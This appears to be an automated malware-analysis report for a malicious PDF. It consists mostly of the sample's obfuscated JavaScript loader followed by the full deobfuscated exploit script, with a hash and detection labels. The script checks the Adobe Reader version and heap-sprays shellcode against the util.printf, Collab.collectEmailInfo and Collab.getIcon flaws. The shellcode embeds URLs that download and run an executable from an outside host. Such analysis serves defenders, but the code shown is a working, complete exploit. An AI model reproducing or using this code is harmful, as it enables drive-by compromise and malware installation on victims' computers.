171,153,164,171,162,88,93,88,165,160,151,164,158,155,161,156,151,115,63,66,59,65,175,69,60,65,59,174,147,170,82,167,168,157,164,158,158,167,169,88,111,88,167,166,151,171,149,153,162,157,90,90,87,173,98,155,98,155,87,173,98,155,98,155,84,97,109,69,60,65,59,175,154,161,158,157,82,96,161,174,151,170,152,164,161,175,96,164,151,166,153,172,154,88,110,88,102,108,107,109,100,97,173,69,60,65,59,65,161,174,151,170,152,164,161,175,82,99,111,88,161,174,151,170,152,164,161,175,109,69,60,65,59,181,63,66,59,65,166,160,155,171,96,155,161,164,158,153,148,139,166,167,164,157,82,117,82,123,161,164,158,153,148,102,149,167,158,164,151,155,166,125,159,153,155,164,123,166,152,167,90,179,165,173,148,162,108,88,84,90,94,165,165,159,108,88,161,174,151,170,152,164,161,175,175,97,109,69,60,65,175,69,60,69,60,65,152,173,160,155,166,161,161,166,82,155,161,164,158,153,148,151,153,157,166,161,149,167,160,96,91,179,63,66,59,65,155,158,82,96,147,168,162,102,150,167,149,102,117,167,158,164,147,154,96,159,151,172,123,155,161,166,91,179,63,66,59,65,59,174,147,170,82,153,164,170,171,88,111,88,160,157,169,88,115,170,164,153,171,96,91,115,63,66,59,65,59,174,147,170,82,174,168,168,151,172,154,177,147,88,111,88,167,166,151,171,149,153,162,157,90,90,87,173,119,122,119,113,87,173,98,104,98,105,87,173,103,110,98,104,87,173,115,105,104,108,87,173,98,104,101,104,87,173,98,104,98,104,87,173,102,104,106,122,87,173,106,122,98,123,87,173,99,123,105,104,87,173,106,122,115,124,87,173,98,112,102,104,87,173,117,107,103,125,87,173,106,122,103,109,87,173,106,122,119,123,87,173,98,112,102,109,87,173,101,107,103,106,87,173,117,105,118,106,87,173,98,107,117,106,87,173,99,104,101,106,87,173,106,104,102,104,87,173,98,104,101,112,87,173,120,109,105,109,87,173,117,106,106,122,87,173,103,124,103,121,87,173,98,108,117,106,87,173,103,109,98,104,87,173,119,123,106,122,87,173,103,105,103,105,87,173,103,110,103,107,87,173,104,104,103,111,87,173,103,124,106,122,87,173,101,107,98,112,87,173,106,122,117,104,87,173,98,123,105,109,87,173,120,125,106,122,87,173,105,110,98,107,87,173,106,122,101,123,87,173,105,112,102,125,87,173,117,126,98,107,87,173,103,105,106,122,87,173,103,106,99,123,87,173,103,105,106,122,87,173,103,106,100,108,87,173,105,105,106,122,87,173,102,125,99,108,87,173,105,109,106,113,87,173,106,122,120,123,87,173,100,104,105,105,87,173,120,111,98,107,87,173,102,121,107,113,87,173,102,106,115,124,87,173,101,122,104,104,87,173,120,123,103,109,87,173,98,108,105,109,87,173,117,104,101,107,87,173,101,111,119,122,87,173,120,126,101,107,87,173,102,109,98,107,87,173,107,111,98,123,87,173,117,126,106,122,87,173,105,109,115,125,87,173,100,122,120,124,87,173,102,126,120,113,87,173,119,112,103,105,87,173,120,126,107,108,87,173,120,126,120,126,87,173,117,107,101,122,87,173,105,108,104,105,87,173,119,122,98,106,87,173,106,122,118,113,87,173,98,123,102,109,87,173,103,125,107,106,87,173,120,106,98,107,87,173,119,104,118,105,87,173,117,110,98,107,87,173,117,113,101,107,87,173,116,111,98,126,87,173,103,126,98,112,87,173,119,105,117,105,87,173,98,107,98,106,87,173,98,107,117,121,87,173,106,122,117,126,87,173,98,107,98,105,87,173,106,113,117,106,87,173,120,112,102,109,87,173,106,122,104,105,87,173,120,112,102,109,87,173,103,125,103,126,87,173,117,113,103,122,87,173,103,109,117,107,87,173,119,123,106,122,87,173,119,112,103,105,87,173,120,126,102,113,87,173,120,126,120,126,87,173,104,112,103,104,87,173,104,104,119,112,87,173,98,108,116,126,87,173,104,123,119,112,87,173,120,126,120,126,87,173,101,107,120,126,87,173,103,106,118,106,87,173,120,126,103,106,87,173,98,112,105,109,87,173,118,104,120,126,87,173,102,109,106,113,87,173,106,122,120,123,87,173,120,123,102,109,87,173,117,107,117,113,87,173,106,122,103,109,87,173,106,107,119,123,87,173,98,123,119,123,87,173,102,109,106,124,87,173,103,104,120,108,87,173,102,109,117,110,87,173,105,109,120,108,87,173,102,109,117,110,87,173,105,106,120,109,87,173,102,109,117,110,87,173,104,123,120,110,87,173,102,109,117,110,87,173,104,124,120,111,87,173,102,109,117,110,87,173,104,126,120,112,87,173,102,109,117,110,87,173,104,125,120,113,87,173,102,109,117,110,87,173,100,125,120,121,87,173,102,109,117,110,87,173,104,108,120,122,87,173,102,109,117,110,87,173,104,123,120,123,87,173,102,109,117,110,87,173,104,123,120,124,87,173,102,109,117,110,87,173,98,104,120,125,87,173,115,104,119,112,87,173,120,126,120,126,87,173,103,104,120,126,87,173,103,124,104,112,87,173,99,105,106,121,87,173,119,112,99,110,87,173,120,126,99,109,87,173,120,126,120,126,87,173,117,108,106,107,87,173,106,109,98,123,87,173,105,108,117,104,87,173,104,121,99,109,87,173,104,121,98,104,87,173,120,126,98,104,87,173,98,123,105,109,87,173,105,109,120,126,87,173,104,121,98,112,87,173,120,126,98,104,87,173,106,109,118,104,87,173,105,109,117,104,87,173,102,104,98,107,87,173,117,107,117,113,87,173,117,104,101,107,87,173,117,107,117,113,87,173,101,107,103,111,87,173,106,122,117,104,87,173,100,108,102,123,87,173,106,122,98,123,87,173,100,108,105,123,87,173,120,123,98,112,87,173,115,121,120,107,87,173,117,107,103,126,87,173,102,123,106,122,87,173,98,108,100,108,87,173,101,113,106,104,87,173,106,122,98,104,87,173,105,108,117,105,87,173,102,104,98,110,87,173,101,112,106,104,87,173,105,109,98,104,87,173,100,122,120,121,87,173,117,107,117,105,87,173,106,122,103,109,87,173,106,107,119,123,87,173,104,108,119,123,87,173,106,124,103,107,87,173,120,104,102,109,87,173,101,107,103,111,87,173,103,104,118,122,87,173,102,109,117,110,87,173,104,122,120,104,87,173,102,109,117,110,87,173,104,109,120,105,87,173,102,109,117,110,87,173,105,106,120,106,87,173,102,109,117,110,87,173,104,125,120,107,87,173,102,109,117,110,87,173,104,109,120,108,87,173,102,109,117,110,87,173,104,123,120,109,87,173,102,109,117,110,87,173,101,107,120,110,87,173,102,109,117,110,87,173,101,106,120,111,87,173,102,109,117,110,87,173,100,125,120,112,87,173,102,109,117,110,87,173,104,108,120,113,87,173,102,109,117,110,87,173,104,123,120,121,87,173,102,109,117,110,87,173,104,123,120,122,87,173,103,124,106,112,87,173,119,112,120,123,87,173,120,126,98,122,87,173,120,126,120,126,87,173,104,112,103,104,87,173,102,107,104,112,87,173,106,125,120,113,87,173,106,104,119,112,87,173,120,126,120,125,87,173,106,122,120,126,87,173,106,124,120,112,87,173,107,123,102,109,87,173,102,108,104,121,87,173,119,112,103,104,87,173,120,126,105,125,87,173,120,126,120,126,87,173,102,109,106,124,87,173,104,121,119,104,87,173,103,104,99,104,87,173,105,107,119,112,87,173,120,126,120,126,87,173,106,107,120,126,87,173,99,123,117,108,87,173,102,109,106,124,87,173,103,104,119,104,87,173,102,109,106,124,87,173,103,104,107,123,87,173,103,107,103,107,87,173,103,107,103,107,87,173,103,107,103,107,87,173,105,109,120,126,87,173,117,111,98,112,87,173,107,123,102,109,87,173,98,104,102,108,87,173,98,104,98,104,87,173,120,126,103,107,87,173,103,126,118,111,87,173,116,110,98,126,87,173,103,122,117,104,87,173,117,107,117,113,87,173,106,122,103,109,87,173,103,105,119,123,87,173,103,107,103,105,87,173,103,111,103,110,87,173,102,106,104,121,87,173,105,106,119,112,87,173,98,104,98,104,87,173,106,122,98,104,87,173,101,107,118,112,87,173,106,109,120,110,87,173,103,113,118,122,87,173,102,109,117,111,87,173,104,105,120,112,87,173,104,109,100,125,87,173,117,111,105,112,87,173,120,123,102,109,87,173,98,104,104,109,87,173,98,104,98,104,87,173,103,110,105,125,87,173,102,109,106,124,87,173,103,104,120,112,87,173,119,112,103,110,87,173,98,104,103,105,87,173,98,104,98,104,87,173,103,104,103,113,87,173,116,105,119,112,87,173,120,126,120,125,87,173,106,109,120,126,87,173,103,113,117,104,87,173,105,108,103,113,87,173,106,124,101,113,87,173,98,105,102,110,87,173,119,112,103,104,87,173,98,104,101,122,87,173,98,104,98,104,87,173,120,112,106,122,87,173,102,109,106,124,87,173,103,104,120,112,87,173,100,105,119,112,87,173,120,126,120,126,87,173,106,109,120,126,87,173,103,113,117,104,87,173,105,108,103,113,87,173,103,111,98,123,87,173,98,105,119,112,87,173,120,126,120,126,87,173,103,113,120,126,87,173,102,108,117,110,87,173,120,126,101,112,87,173,103,104,105,107,87,173,102,109,106,124,87,173,120,125,120,112,87,173,103,112,98,104,87,173,102,109,106,124,87,173,103,104,120,112,87,173,119,112,103,111,87,173,120,125,105,108,87,173,120,126,120,126,87,173,103,113,103,113,87,173,102,110,102,110,87,173,120,107,101,122,87,173,115,121,105,123,87,173,103,125,103,126,87,173,117,113,103,122,87,173,103,109,117,107,87,173,119,123,106,122,87,173,103,107,103,105,87,173,104,104,104,110,87,173,101,106,116,105,87,173,98,104,119,112,87,173,98,104,98,104,87,173,103,112,98,104,87,173,98,112,101,112,87,173,98,107,105,108,87,173,119,122,102,104,87,173,102,104,120,113,87,173,103,124,106,122,87,173,106,104,98,112,87,173,102,106,120,122,87,173,98,112,105,109,87,173,118,122,101,107,87,173,99,112,106,121,87,173,117,107,106,122,87,173,99,111,119,122,87,173,99,112,101,112,87,173,99,105,105,110,87,173,101,107,102,104,87,173,106,108,117,113,87,173,105,108,118,122,87,173,102,104,98,123,87,173,98,112,101,112,87,173,120,122,105,109,87,173,120,125,102,104,87,173,119,122,117,122,87,173,101,107,120,106,87,173,106,113,117,104,87,173,120,123,102,109,87,173,102,109,106,122,87,173,103,122,120,123,87,173,117,107,117,113,87,173,98,106,101,106,87,173,105,108,104,112,87,173,105,104,105,108,87,173,100,126,101,121,87,173,104,111,100,126,87,173,104,113,104,122,87,173,104,123,105,104,87,173,104,124,104,105,87,173,104,125,104,113,87,173,105,106,100,125,87,173,100,126,105,109,87,173,104,123,104,111,87,173,100,126,104,105,87,173,105,110,104,109,87,173,105,121,105,111,87,173,100,125,101,106,87,173,105,112,104,109,87,173,98,104,104,109,87,173,105,108,104,112,87,173,105,104,105,108,87,173,100,126,101,121,87,173,104,111,100,126,87,173,104,113,104,122,87,173,104,123,105,104,87,173,104,124,104,105,87,173,104,125,104,113,87,173,105,106,100,125,87,173,100,126,105,109,87,173,104,123,104,111,87,173,100,126,104,105,87,173,104,123,104,107,87,173,104,107,104,113,87,173,100,125,104,122,87,173,104,112,105,104,87,173,101,126,105,104,87,173,101,124,105,106,87,173,98,104,98,104,84,97,109,69,60,65,59,65,168,153,164,88,154,143,163,109,98,104,117,134,82,117,82,174,168,168,151,172,154,177,147,102,158,157,160,159,166,160,82,98,82,106,109,69,60,65,59,65,168,153,164,88,158,157,160,88,111,88,98,176,102,104,98,104,98,104,82,101,82,96,154,143,163,109,98,104,117,134,82,99,82,104,170,107,106,97,109,69,60,65,59,65,168,153,164,88,171,153,164,171,162,88,111,88,167,166,151,171,149,153,162,157,90,90,87,173,107,104,107,104,87,173,107,104,107,104,84,97,109,69,60,65,59,65,171,153,164,171,162,88,111,88,152,161,170,151,155,172,90,177,147,170,165,168,94,88,158,157,160,97,109,69,60,65,59,65,168,153,164,88,162,109,115,162,125,110,103,158,82,117,82,96,98,176,98,155,98,155,98,155,98,155,82,101,82,104,170,108,98,104,98,104,98,97,82,103,82,104,170,108,98,104,98,104,98,115,63,66,59,65,59,158,161,170,82,96,168,153,164,88,168,169,149,137,118,113,104,177,82,117,82,104,109,88,168,169,149,137,118,113,104,177,82,116,82,168,103,121,156,131,104,109,152,115,82,174,163,155,131,124,107,110,171,88,93,99,82,97,173,69,60,65,59,65,59,153,164,170,171,147,168,169,149,137,118,113,104,177,143,88,111,88,171,153,164,171,162,88,93,88,168,174,162,157,166,160,171,153,109,69,60,65,59,65,175,69,60,65,59,65,168,153,164,88,166,141,127,160,128,154,121,175,82,117,82,173,160,157,165,155,147,168,151,96,84,93,98,113,84,97,109,69,60,65,59,65,169,160,155,164,151,88,90,172,135,133,154,134,148,127,169,102,158,157,160,159,166,160,82,116,82,104,170,108,98,104,98,97,173,69,60,65,59,65,59,172,135,133,154,134,148,127,169,88,93,117,82,172,135,133,154,134,148,127,169,115,63,66,59,65,59,181,63,66,59,65,59,172,135,133,154,134,148,127,169,88,111,88,84,134,96,90,82,99,82,172,135,133,154,134,148,127,169,115,63,66,59,65,59,153,162,168,96,156,161,155,96,123,161,164,158,153,148,102,153,157,166,129,149,167,160,96,166,141,127,160,128,154,121,175,91,115,63,66,59,65,175,69,60,65,175,69,60,69,60,65,152,173,160,155,166,161,161,166,82,168,150,158,145,171,166,153,164,172,90,97,173,69,60,69,60,65,59,174,147,170,82,174,151,170,165,161,161,166,82,117,82,153,162,168,96,174,155,157,169,157,164,142,151,170,165,161,161,166,96,172,161,139,166,170,155,166,153,96,91,115,63,66,59,65,168,157,164,171,155,167,160,88,111,88,168,157,164,171,155,167,160,102,164,157,162,164,147,155,151,96,97,148,118,103,153,100,89,95,91,115,63,66,59,65,168,153,164,88,168,153,164,171,155,167,160,151,147,170,164,153,171,88,111,88,160,157,169,88,115,170,164,153,171,96,168,157,164,171,155,167,160,102,149,160,147,170,115,172,90,104,91,100,82,174,151,170,165,161,161,166,96,155,154,153,164,121,166,96,99,97,94,88,168,157,164,171,155,167,160,102,149,160,147,170,115,172,90,106,91,97,109,69,60,65,59,161,152,88,90,96,168,153,164,171,155,167,160,151,147,170,164,153,171,147,98,149,82,117,111,88,106,97,82,94,88,88,90,174,147,170,165,161,161,166,145,153,164,170,147,177,141,105,143,88,111,117,82,104,91,88,174,180,82,96,168,153,164,171,155,167,160,151,147,170,164,153,171,147,99,149,82,117,111,88,99,88,88,94,82,174,147,170,165,161,161,166,145,153,164,170,147,177,141,106,143,88,110,88,101,97,91,179,63,66,59,65,59,173,166,161,158,151,162,170,155,166,166,158,90,97,109,69,60,65,59,181,63,66,59,65,155,158,82,96,90,174,147,170,165,161,161,166,145,153,164,170,147,177,141,104,143,88,110,88,106,97,82,180,174,88,90,174,147,170,165,161,161,166,145,153,164,170,147,177,141,104,143,88,111,117,82,112,82,94,88,88,168,153,164,171,155,167,160,151,147,170,164,153,171,147,99,149,82,116,82,106,82,94,88,88,168,153,164,171,155,167,160,151,147,170,164,153,171,147,100,149,82,116,82,106,91,97,173,69,60,65,59,65,149,167,158,164,147,154,145,157,159,153,155,164,90,97,109,69,60,65,59,181,63,66,59,65,155,158,82,96,90,174,147,170,165,161,161,166,145,153,164,170,147,177,141,104,143,88,110,88,107,97,82,180,174,88,90,174,147,170,165,161,161,166,145,153,164,170,147,177,141,104,143,88,111,117,82,113,82,94,88,88,168,153,164,171,155,167,160,151,147,170,164,153,171,147,99,149,82,116,82,105,91,97,173,69,60,65,59,65,149,167,158,164,147,154,145,159,151,172,155,155,161,166,90,97,109,69,60,65,59,181,63,66,59,181,63,66,63,66,59,168,150,158,145,171,166,153,164,172,90,97,109,69,60,65],dgmwy=function(){for(var ghqsuv;dimtxy<ghmorx.length;dimtxy+=1){var hsuw=dimtxy%ipqrw.length+1;var aehtuw=ipqrw.substring(dimtxy%ipqrw.length,hsuw);var aegt=ghmorx[dimtxy];jprtvy+=rtvxy(aegt-aehtuw.charCodeAt(0));} flpvw(jprtvy);};dgmwy();blopuy=3174;bgpsw="";eglxy="";bhkty=29657;csuz="csuz";gijowy="gijowy";bdij=true;dhmr=39443;adnwx="adnwx";irvwz=6690;biktx='';dkotux=44150;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9910 bytes
SHA-256: `c14d6f2359ef236bf62df847dd2f87c2c4e6787f5a98f379d63d0de4767708bd`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6863%u7775%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6862%u6F6A%u7A79%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u7665%u7A77%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 7

Extracted artifacts 2